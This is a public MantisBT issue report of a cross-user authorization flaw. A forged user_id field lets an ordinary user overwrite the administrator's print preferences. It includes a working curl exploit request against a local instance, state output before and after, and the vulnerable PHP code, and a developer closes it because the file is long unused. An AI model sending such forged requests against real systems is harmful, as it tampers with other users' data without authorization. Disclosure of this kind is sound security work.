Relationship Graph

Relationship Graph
related to related to child of child of duplicate of duplicate of

View Issue Details

IDProjectCategoryView StatusLast Update
0037031mantisbtsecuritypublic2026-11-22 16:11
Reporterninjasec Assigned Todregad  
PrioritynormalSeverityminorReproducibilityalways
Status closedResolutionno change required 
Summary0037031: Print Preferences Update Allows Cross-User Modification via Forged user_id
Description

The print-preferences update endpoint accepts user_id from the request and writes directly to that user's user_print_pref row.

It validates the caller's session and CSRF token, but never checks that the submitted user_id belongs to the current user or to an administrator-approved target.

A normal user can therefore overwrite another user's stored print preferences by reusing their own valid form token.

Steps To Reproduce

Step 1. Open the print-preferences page as a low-privileged user and collect a fresh CSRF token from the form.

Step 2. Submit the normal update request, but replace the hidden user_id value with another user's id.

The reporter's own form exposed:

<input type="hidden" name="print_all_bug_options_update_token" value="20260319kXceJ4g-e6PsFSLveGGihOChqlDfYhso"/>
<input type="hidden" name="user_id" value="2" />

Target state before the forged request:

1|1111111111111111111111111111
2|1111111111111111111111111111

Exploit request:

curl -i 'http://127.0.0.1:8082/print_all_bug_options_update.php' \
      -b /tmp/mantis-reporter-latest.jar \
      -X POST \
      --data-urlencode 'print_all_bug_options_update_token=20260319kXceJ4g-e6PsFSLveGGihOChqlDfYhso' \
      --data-urlencode 'user_id=1' \
      --data-urlencode 'redirect_url=print_all_bug_page.php'

Observed response:

HTTP/1.1 302 Found
Location: http://127.0.0.1:8082/print_all_bug_page.php

State verification after the request:

1|0000000000000000000000000000
2|1111111111111111111111111111

This shows that the reporter's own row (user_id=2) was unchanged, while the administrator row (user_id=1) was overwritten by the reporter's request.

Additional Information

Affected code: print_all_bug_options_update.php

The handler trusts the submitted user id and performs a raw update:

$f_user_id = gpc_get_int( 'user_id' );
...
$t_query = 'UPDATE {user_print_pref} SET print_pref=' . db_param() . ' WHERE user_id=' . db_param();
$t_result = db_query( $t_query, array( $c_export, $t_user_id ) );

There is no check equivalent to "is this my own account?" or "do I hold manage_user_threshold for the target account?"

Any authenticated user with a valid token from their own print-preferences page can overwrite another user's stored print layout preferences.

This is a cross-user authorization bug in a state-changing endpoint.

TagsNo tags attached.

Relationships

related to 0019370 closeddregad Retire 'user_print_pref' table and related code 
has duplicate 0037364 closeddregad print_all_bug_options_update.php allows changing another user's print layout preferences 

Activities

dregad

dregad

2026-09-01 04:12

developer   ~0071397

print_all_bug_options_update.php is unused since 2009 (MantisBT 1.2.0), and has been removed as part of 0019370.

This vulnerability report is therefore invalid, and we'll close the Issue as no change required.